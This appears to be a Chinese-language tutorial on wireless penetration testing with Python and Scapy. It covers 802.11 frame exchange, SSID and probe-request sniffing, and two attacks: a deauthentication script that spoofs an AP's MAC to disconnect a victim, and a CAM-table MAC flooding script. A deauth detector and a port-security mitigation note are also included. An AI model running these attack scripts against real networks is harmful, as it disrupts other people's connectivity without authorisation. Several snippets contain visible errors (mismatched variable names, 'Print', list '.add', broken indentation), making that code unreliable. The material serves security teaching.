无线网络渗透测试

无线系统具有很大的灵活性,但另一方面,它也会导致严重的安全问题。而且,这如何成为一个严重的安全问题——因为在无线连接的情况下,攻击者只需要有信号就可以发起攻击,而不是像有线网络那样拥有物理访问权限。无线系统的渗透测试比有线网络的渗透测试更容易。我们无法真正对无线介质采取良好的物理安全措施,如果我们距离足够近,我们将能够"听到"(或者至少您的无线适配器能够听到)空中流动的一切。

先决条件

在开始学习有关无线网络渗透测试的更多信息之前,让我们考虑讨论一下术语以及客户端和无线系统之间的通信过程。

重要术语

现在让我们学习与无线网络渗透测试相关的重要术语。

接入点 (AP)

接入点 (AP) 是 802.11 无线实施中的中心节点。此点用于将用户连接到网络内的其他用户,也可以作为无线局域网 (WLAN) 和固定有线网络之间的互连点。在 WLAN 中,AP 是传输和接收数据的站点。

服务集标识符 (SSID)

它是 0-32 字节长的人可读文本字符串,基本上是分配给无线网络的名称。网络中的所有设备都必须使用此区分大小写的名称通过无线网络 (Wi-Fi) 进行通信。

基本服务集标识 (BSSID)

它是在无线接入点 (AP) 上运行的 Wi-Fi 芯片组的 MAC 地址。它是随机生成的。

信道号

它表示接入点 (AP) 用于传输的无线电频率范围。

客户端与无线系统之间的通信

我们需要了解的另一件重要的事情是客户端与无线系统之间的通信过程。借助下图,我们可以理解相同的 −

客户端与无线系统通信

信标帧

在客户端与接入点之间的通信过程中,AP 会定期发送信标帧以显示其存在。此帧附带与 SSID、BSSID 和信道号相关的信息。

探测请求

现在,客户端设备将发送探测请求以检查范围内的 AP。发送探测请求后,它将等待来自 AP 的探测响应。探测请求包含 AP 的 SSID、供应商特定信息等信息。

探测响应

现在,在收到探测请求后,AP 将发送探测响应,其中包含支持的数据速率、功能等信息。

身份验证请求

现在,客户端设备将发送包含其身份的身份验证请求帧。

身份验证响应

现在作为响应,AP 将发送表示接受或拒绝的身份验证响应帧。

关联请求

当身份验证成功时,客户端设备已发送包含支持的数据速率和 AP 的 SSID 的关联请求帧。

关联响应

现在作为响应,AP 将发送表示接受或拒绝的关联响应帧。如果接受,将创建客户端设备的关联 ID。

使用 Python 查找无线服务集标识符 (SSID)

我们可以借助原始套接字方法以及使用 Scapy 库来收集有关 SSID 的信息。

原始套接字方法

我们已经了解到 mon0 捕获无线数据包;因此,我们需要将监控模式设置为 mon0。在 Kali Linux 中,可以借助 airmon-ng 脚本来完成。运行此脚本后,它将为无线网卡命名,例如 wlan1。现在借助以下命令,我们需要在 mon0 上启用监控模式 −

airmon-ng start wlan1

以下是原始套接字方法,Python 脚本,它将为我们提供 AP 的 SSID −

首先,我们需要导入套接字模块,如下所示 −

import socket

现在,我们将创建一个具有三个参数的套接字。第一个参数告诉我们数据包接口(Linux 专用的 PF_PACKET 和 Windows 专用的 AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包感兴趣。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

现在,下一行将绑定 mon0 模式和 0x0003

s.bind(("mon0", 0x0003))

现在,我们需要声明一个空列表,它将存储 AP 的 SSID。

ap_list = []

现在,我们需要调用recvfrom() 方法接收数据包。为了继续嗅探,我们将使用无限 while 循环。

while True:
    packet = s.recvfrom(2048)

下一行代码显示帧是否为 8 位,表示信标帧。

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

使用 Scapy 嗅探 SSID

Scapy 是最好的库之一,可以让我们轻松嗅探 Wi-Fi 数据包。您可以在 https://scapy.readthedocs.io/en/latest/ 详细了解 Scapy。首先,以交互模式运行 Sacpy,并使用命令 conf 获取 iface 的值。默认接口是 eth0。现在我们有了上面的圆顶,我们需要将此模式更改为 mon0。可以按如下方式完成 −

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

现在让我们将 Scapy 导入为库。此外,执行以下 Python 脚本将为我们提供 SSID −

from scapy.all import *

现在,我们需要声明一个空列表,用于存储 AP 的 SSID。

ap_list = []

现在我们将定义一个名为 Packet_info() 的函数,该函数将具有完整的数据包解析逻辑。它将具有参数 pkt。

def Packet_info(pkt) :

在下一个语句中,我们将应用一个过滤器,该过滤器将仅传递 Dot11 流量,即 802.11 流量。接下来的行也是一个过滤器,它传递帧类型为 0(代表管理帧)且帧子类型为 8(代表信标帧)的流量。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

现在,嗅探函数将嗅探具有 ifacemon0(用于无线数据包)的数据并调用 Packet_info 函数。

sniff(iface = "mon0", prn = Packet_info)

为了实现上述 Python 脚本,我们需要能够使用监控模式嗅探空中的 Wi-Fi 卡。

检测接入点客户端

为了检测接入点的客户端,我们需要捕获探测请求帧。我们可以像使用 Scapy 的 SSID 嗅探器的 Python 脚本中所做的那样来执行此操作。我们需要提供 Dot11ProbeReq 来捕获探测请求帧。以下是用于检测接入点客户端的 Python 脚本 −

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

无线攻击

从渗透测试人员的角度来看,了解无线攻击如何发生非常重要。在本节中,我们将讨论两种无线攻击 −

  • 取消身份验证 (deauth) 攻击

  • MAC 泛洪攻击

取消身份验证 (deauth) 攻击

在客户端设备与接入点之间的通信过程中,每当客户端想要断开连接时,它都需要发送取消身份验证帧。作为对来自客户端的该帧的响应,AP 还将发送取消身份验证帧。攻击者可以通过欺骗受害者的 MAC 地址并向 AP 发送取消身份验证帧来从此正常过程中获得优势。因此,客户端和 AP 之间的连接被断开。以下是执行解除认证攻击的 Python 脚本 −

首先让我们将 Scapy 作为库导入 −

from scapy.all import *
import sys

以下两个语句将分别输入 AP 和受害者的 MAC 地址。

BSSID = input("输入接入点的 MAC 地址:- ")
vctm_mac = input("输入受害者的 MAC 地址:- ")

现在,我们需要创建解除认证框架。可以通过执行下面的语句来创建。

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

下一行代码代表发送的数据包总数;这里是 500,是两个数据包之间的间隔。

sendp(frame, iface = "mon0", count = 500, inter = .1)

输出

执行后,上述命令生成以下输出 −

输入接入点的 MAC 地址:-(这里,我们需要提供 AP 的 MAC 地址)
输入受害者的 MAC 地址:-(这里,我们需要提供受害者的 MAC 地址)

随后创建了 deauth 帧,该帧代表客户端发送到接入点。这将取消它们之间的连接。

这里的问题是,我们如何使用 Python 脚本检测 deauth 攻击。执行以下 Python 脚本将有助于检测此类攻击 −

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

在上述脚本中,语句 pkt.subtype == 12 表示解除认证帧,全局定义的变量 I 表示数据包的数量。

输出

上述脚本的执行生成以下输出 −

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MAC 地址泛洪攻击

MAC 地址泛洪攻击(CAM 表泛洪攻击)是一种网络攻击,攻击者连接到交换机端口,向交换机接口发送大量具有不同伪造源 MAC 地址的以太网帧。当大量 MAC 地址涌入表并达到 CAM 表阈值时,就会发生 CAM 表溢出。这会导致交换机充当集线器,使所有端口的流量泛滥到网络中。此类攻击非常容易发起。以下 Python 脚本有助于发起此类 CAM 泛滥攻击 −

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

此类攻击主要目的是检查交换机的安全性。如果想减轻MAC泛洪攻击的影响,就需要使用端口安全。